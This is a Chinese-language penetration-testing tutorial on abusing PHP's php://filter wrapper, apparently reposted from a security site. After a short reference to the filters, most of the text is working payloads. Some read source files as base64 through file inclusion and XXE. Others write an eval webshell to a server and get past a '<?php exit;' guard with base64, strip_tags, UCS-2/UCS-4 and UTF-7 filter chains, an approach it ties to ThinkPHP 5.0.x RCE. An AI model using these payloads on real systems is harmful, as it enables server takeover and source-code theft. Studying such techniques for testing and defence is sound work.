文章目錄
前言
在滲透測試或漏洞挖掘的過程中,我們經常會遇到php://filter
結合其它漏洞比如文件包含、文件讀取、反序列化、XXE等進行組合利用,以達到一定的攻擊效果,拿到相應的服務器權限。
最近看到php://filter
在ThinkPHP反序列化中頻繁出現利用其相應構造可以RCE,那麼下面就來探索一下關於php://filter
在漏洞挖掘中的一些奇技淫巧。
php://filter
在探索php://filter在實戰當中的奇技淫巧時,一定要先了解關於php://filter的原理和利用。
php://filter是一種元封裝器,是PHP中特有的協議流,設計用於數據流打開時的篩選過濾應用,作用是作爲一個“中間流”來處理其他流。
php://filter目標使用以下的參數作爲它路徑的一部分。複合過濾鏈能夠在一個路徑上指定。
參數
如:php://filter/(read=)convert.base64-encode/resource=xxx.php
使用
通過參數去了解php://filter的使用
測試代碼
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
echo file_get_contents($file1);
file_put_contents($file2,$txt);
?>
讀取文件
payload:
index.php?file1=php://filter/resource=file.txt
index.php?file1=php://filter/read=convert.base64-encode/resource=file.php // 專用於讀取php文件
測試結果:
寫入文件
payload:
index.php?file2=php://filter/resource=test.txt&txt=Qftm
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm
測試結果:
過濾器
String Filters
String Filters(字符串過濾器)每個過濾器都正如其名字暗示的那樣工作並與內置的 PHP 字符串函數的行爲相對應。
string.rot13
(自 PHP 4.3.0 起)使用此過濾器等同於用 str_rot13()函數處理所有的流數據。
string.rot13對字符串執行 ROT13 轉換,ROT13 編碼簡單地使用字母表中後面第 13 個字母替換當前字母,同時忽略非字母表中的字符。編碼和解碼都使用相同的函數,即傳遞一個編碼過的字符串作爲參數,將得到原始字符串。
Example #1 string.rot13:
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13'); // stream_filter_append函數將爲流附上過濾器
fwrite($fp, "This is a test.n");
/* 將輸出: Guvf vf n grfg. */
?>
php://output是php語言中一個只寫的數據流,是返回的結果數據流。它是一個只寫數據流,向php://output中寫入數據允許你以 print 和echo一樣的方式寫入到輸出緩衝區。
string.toupper
(自 PHP 5.0.0 起)使用此過濾器等同於用 strtoupper()函數處理所有的流數據。
string.toupper 將字符串轉化爲大寫
Example #2 string.toupper
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.n");
/* 輸出: THIS IS A TEST. */
?>
string.tolower
(自 PHP 5.0.0 起)使用此過濾器等同於用 strtolower()函數處理所有的流數據。
string.toupper 將字符串轉化爲小寫
Example #3 string.tolower
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.n");
/* 輸出: this is a test. */
?>
string.strip_tags
(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已棄用此功能。)使用此過濾器等同於用 strip_tags()函數處理所有的流數據。可以用兩種格式接收參數:一種是和 strip_tags() 函數第二個參數相似的一個包含有標記列表的字符串,一種是一個包含有 標記名 的數組。
string.strip_tags 從字符串中去除 HTML 和 PHP 標記,嘗試返回給定的字符串 str 去除空字符、HTML 和 PHP 標記後的結果。它使用與函數 fgetss() 一樣的機制去除標記。
Note:
HTML 註釋和 PHP 標籤也會被去除。這裏是硬編碼處理的,所以無法通過 allowable_tags 參數進行改變。
Example #4 string.strip_tags
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
?>
Conversion Filters
Conversion Filters(轉換過濾器)如同 string. 過濾器,convert. 過濾器的作用就和其名字一樣,進行編碼轉換。轉換過濾器是 PHP 5.0.0 添加的。
convert.base64
convert.base64-encode 和 convert.base64-decode 使用這兩個過濾器等同於分別用 base64_encode()和 base64_decode()函數處理所有的流數據。 convert.base64-encode支持以一個關聯數組給出的參數。如果給出了 line-length,base64 輸出將被用 line-length 個字符爲 長度而截成塊。如果給出了 line-break-chars,每塊將被用給出的字符隔開。這些參數的效果和用 base64_encode()再加上 chunk_split()相同。
Example #1 convert.base64-encode & convert.base64-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */
$param = array('line-length' => 8, 'line-break-chars' => "rn");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: VGhpcyBp
: cyBhIHRl
: c3QuCg== */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs: This is a test. */
?>
convert.quoted
convert.quoted-printable-encode 和 convert.quoted-printable-decode 使用此過濾器的 decode 版本等同於用 quoted_printable_decode()函數處理所有的流數據。沒有和 convert.quoted-printable-encode相對應的函數。 convert.quoted-printable-encode支持以一個關聯數組給出的參數。除了支持和 convert.base64-encode 一樣的附加參數外, convert.quoted-printable-encode還支持布爾參數 binary和 force-encode-first。 convert.base64-decode 只支持 line-break-chars 參數作爲從編碼載荷中剝離的類型提示。
Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.n");
/* Outputs: =This is a test.=0A */
?>
convert.iconv.*
這個過濾器需要 php 支持 iconv,而 iconv 是默認編譯的。使用convert.iconv.*過濾器等同於用iconv()函數處理所有的流數據。
convery.iconv.*
的使用有兩種方法
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 將字符串按要求的字符編碼來轉換
說明
iconv ( string $in_charset , string $out_charset , string $str ) : string
將字符串 str 從 in_charset 轉換編碼到 out_charset,返回轉換後的字符串。
Example # convert.iconv.*
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>
文件包含
在文件包含漏洞當中,因爲php://filter可以對所有文件進行編碼處理,所以常常可以使用php://filter來包含讀取一些特殊敏感的文件(PHP文件、配置文件、腳本文件等)以輔助後面的漏洞挖掘。
測試代碼
<?php
$file = $_GET['file'];
include($file);
?>
漏洞利用
利用姿勢1:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。同時也能夠對網站源碼進行審計。
利用姿勢2:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,只是少了個read關鍵字,在繞過一些waf時也許有用。
XXE Encode
由於XXE漏洞的特殊性,我們在讀取HTML、PHP等文件時可能會拋出此類錯誤parser error : StartTag: invalid element name 。其原因是,PHP是基於標籤的腳本語言,這個語法也與XML相符合,所以在解析的時候會被誤認爲是XML,而其中內容(比如特殊字符)又有可能和標準XML衝突,所以導致了出錯。
那麼,爲了讀取包含有敏感信息的PHP等源文件,可以將“可能引發衝突的PHP代碼”編碼一遍,然後再顯示,這樣就不會出現衝突。
這個時候可以使用php://filter協議作爲中間流將XXE讀取的文件進行base64編碼處理之後再顯示。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>
Bypass file_put_contents Exit
關於代碼終結者<?php exit; ?>
想必大家在漏洞挖掘中寫入shell的時候經常會遇到,在這樣的情況下無論寫入的shell是否成功都不會執行傳入的惡意代碼,因爲在惡意代碼執行之前程序就已經結束退出了,導致shell後門利用失敗。
實際漏洞挖掘當中主要會遇到以下兩種限制:
- 寫入shell的文件名和內容不一樣(前後變量不同)
- 寫入shell的文件名和內容一樣(前後變量相同)
針對以上不同的限制手法所利用的姿勢與技巧也不太一樣,當然利用的難度也會不一樣(第二種相對第一種利用較複雜)。
下面就針對死亡exit
限制手法進行探索與繞過。
Bypass-不同變量
針對寫入shell的文件名和內容不一樣的時候,進行探索繞過
測試代碼
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>
代碼分析
分析代碼可以看到,$content在開頭增加了exit,導致文件運行直接退出!!
在這種情況下該怎麼繞過這個限制呢,思路其實也很簡單我們只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以,下面介紹探索的幾種利用繞過手法。
Bypass-轉換過濾器
在上面的介紹中我們知道php://filter中convert.base64-encode和convert.base64-decode使用這兩個過濾器等同於分別用 base64_encode()和 base64_decode()函數處理所有的流數據。
在代碼中可以看到$_POST['filename']
是可以控制協議的,既然可以控制協議,那麼我們就可以使用php://filter協議的轉換過濾器進行base64編碼與解碼來繞過限制。所以我們可以將$content內容進行解碼,利用php base64_decode函數特性去除“exit”。
Base64編碼與解碼
Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作後綴用途。base64算法解碼時是4個byte一組。
知道php base64解碼特點之後,當$content被加上了<?php exit; ?>以後,我們可以使用 php://filter/write=convert.base64-decode
來首先對其解碼。在解碼的過程中,字符< ? ; > 空格
等一共有7個字符不符合base64編碼的字符範圍將被忽略,所以最終被解碼的字符僅有”phpexit”和我們傳入的其他字符。
由於,”phpexit”一共7個字符,但是base64算法解碼時是4個byte一組,所以我們可以隨便再給他添加一個字符(Q)就可以,這樣”phpexitQ”被正常解碼,而後面我們傳入的webshell的base64內容也被正常解碼,這樣就會將<?php exit; ?>這部分內容給解碼掉,從而不會影響我們寫入的webshell。
payload
http://192.33.6.145/test.php
POST
txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php // 寫入文件時使用過濾器
base64decode組成
phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+(這裏的+加號要url編碼,如上,否則不顯示)
載荷效果
從服務器上可以看到已經生成shell.php,同時<?php exit; ?>這部分已經被解碼掉了。
Bypass-字符串過濾器
除了可以使用php://filter的轉換過濾器繞過以外還可以使用其字符串過濾器進行繞過利用。
string.strip_tags
**利用php://filter中string.strip_tags過濾器去除”exit”。**使用此過濾器等同於用 strip_tags()函數處理所有的流數據。我們觀察一下,這個<?php exit; ?>
,實際上是一個XML標籤,既然是XML標籤,我們就可以利用strip_tags函數去除它。
測試代碼
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>
載荷效果
載荷利用雖然成功了,但是我們的目的是寫入webshell,如果那樣的話,我們的webshell豈不是同樣起不了作用,不過我們可以使用多個過濾器進行繞過這個限制(php://filter允許通過 | 使用多個過濾器)。
具體步驟分析
1、webshell用base64編碼 //爲了避免strip_tags的影響
2、先調用string.strip_tags //這一步先將去除<?php exit; ?>
3、在調用convert.base64-decode //這一步將再還原base64編碼的webshell
payload
http://192.33.6.145/test.php
POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
(這裏的+加號要url編碼,如上%2B,否則不顯示)
載荷效果
從服務上可以看到已經生成shell.php,同時<?php exit; ?>這部分已經被string.strip_tags去除掉。
Bypass-相同變量
針對寫入shell的文件名和內容一樣的時候,進行探索繞過。
有了上面第一種情況的繞過與利用姿勢,那麼在第二種條件限制情況下,可以在第一種的手法上進行拓展探索利用。
測試代碼
<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>
這段代碼在ThinkPHP5.0.X反序列化中出現過,利用其組合才能夠得到RCE。有關ThinkPHP5.0.x的反序列化這裏就不說了,主要是探索如何利用php://filter繞過該限制寫入shell後門得到RCE的過程。
代碼分析
分析代碼可以看到,這種情況下寫入的文件,其文件名($a
)和文件部分內容($a
)一致,這就導致利用的難度大大增加了,不過最終目的還是相同的:去除死亡exit寫入shell後門。
針對這種限制手法,我們可以在上面第一種Bypass手法的基礎上進行拓展挖掘。
convert.base64
在上面不同變量利用base64構造payload的基礎上,可以針對相同變量再次構造相應payload,在文件名中包含,滿足正常解碼就可以。
a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在瀏覽器url中需要轉換爲%2B,否則不顯示
但是這樣構造發現是不可以的,因爲構造的payload裏面包含’=’符號,而base64解碼的時候如果字符’=’後面包含有其他字符則會報錯。(“=”字符在base64編碼當中是作爲填充字符出現的)
那麼能不能嘗試把字符等號去掉,分析payload可以把字符串write=去掉減少一個等號,但是字符串resource=裏面的等號不能去掉,也就導致該payload構造失敗。
既然這種方法不可以那麼就可以試試探索其它方法(下面在講述convert.iconv.*的時候會講述怎麼繞過base64解碼時字符’=’的限制)
string.strip_tags
還是在上面不同變量的基礎上進行拓展,由於上面第一種情況的限制代碼直接就是<?php exit; ?>可以直接利用strip_tags去掉,但是現在這種情況下的限制代碼和上面的有點不一樣了,少了一段字符?>,其限制代碼爲<?php exit;,不過構造的目的是相同的最終還是要把exit;給去除掉。
分析兩者限制代碼的不同,那麼我們可以直接再給它加一個?>字符串進行閉合就可以利用了
構造payload
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在瀏覽器url中需要轉換爲%2B,否則不顯示
分析組合後未處理的文件內容,發現成功的構造php標籤<?php xxxx ?>,同時也可以發現代碼中的字符等號’=’也包含在php標籤裏面,那麼在經過strip_tags處理的時候都會去除掉,之後就不會影響base64的正常解碼了。
載荷效果
可以看到payload請求成功,在服務器上生成了相應的文件,同時也正常的寫入了webshell
雖然這樣利用成功了,但是會發現這樣的文件訪問會有問題的,採用@Cyc1e師傅介紹的方法,利用…/重命名即可解決。
利用技巧
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+作爲目錄名(不管存不存在),再用…/回退一下,這樣創建出來的文件名爲Qftm.php,這樣創建出來的文件名就正常了
有一個缺點就是這種利用手法在windows下利用不成功,因爲文件名裏面的? >等這些是特殊字符會導致文件的創建失敗。
convert.iconv.*
關於convert.iconv.*
的詳細介紹可以看上面對php://filter的介紹。
對於iconv字符編碼轉換進行繞過的手法,其實類似於上面所述的base64編碼手段,都是先對原有字符串進行某種編碼然後再解碼,這個過程導致最初的限制exit;被去除,而我們的惡意代碼正常解碼存儲。
下面具體看一下有哪些組合手法可以來Bypass exit:
UCS-2
UCS-2編碼轉換
php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');
?<hp pe@av(l_$OPTSQ[tf]m;)>? // 兩位一反轉
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>
通過UCS-2方式,對目標字符串進行2位一反轉(這裏的2LE和2BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-2中2的倍數,不然不能進行正常反轉(多餘不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
構造payload
a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
組合出的payload:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
核心部分:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?
>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>
載荷效果
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼後門webshell成功。
UCS-4
UCS-4編碼轉換
php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');
hp?<e@ p(lavOP_$Q[TS]mtf>?;) // 4位一反轉
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>
通過UCS-4方式,對目標字符串進行4位一反轉(這裏的4LE和4BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-4中4的倍數,不然不能進行正常反轉(多餘不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
構造payload
a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
組合出的payload:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
核心部分:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)
>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>
載荷效果
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼後門webshell成功。
當然這種方法(UCS-2/4)對於上面講述的第一種情況前後不同變量也是一樣適用的。
utf8-utf7
前面介紹單獨用base64編碼是不可行的(繞不過字符’=’的限制),不過這裏可以藉助組合拳(iconv+base64)進行繞過字符’=’在base64解碼中的影響。通過iconv將utf-8編碼轉爲utf-7編碼,從而把’=’給轉了,最終也就不會影響到base64的正常解碼。
測試代碼
<?php
$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');
/**
Qftm.txt 寫入的內容爲: +AD0- 成功的將“=”給轉了
**/
從結果可以看到,convert.iconv 這個過濾器把 = 轉化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode過濾器解碼的,由此利用其構造組合payload繞過base64限制。
構造payload
a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//這裏需要注意的是要符合base64解碼按照4字節進行的
utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php
base64解碼特點剔除不符合字符(只要惡意代碼前面部分正常就可以,長度爲4的倍數)
+ADwphpexit+ADsphp//filter/write+AD0
>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>
正常base64解碼部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
載荷效果
可以看到這種組合效果是可以的,成功繞過了base64與exit;的限制。
總結
這裏提到了關於php://filter常用的過濾器利用與組合利用的手法來進行漏洞挖掘或者Bypass,當然php://filter還有其他的過濾器是可以用的,不過思路都是一樣的,都是通過某種利用組合達到一定的目的。
原文:https://www.anquanke.com/post/id/202510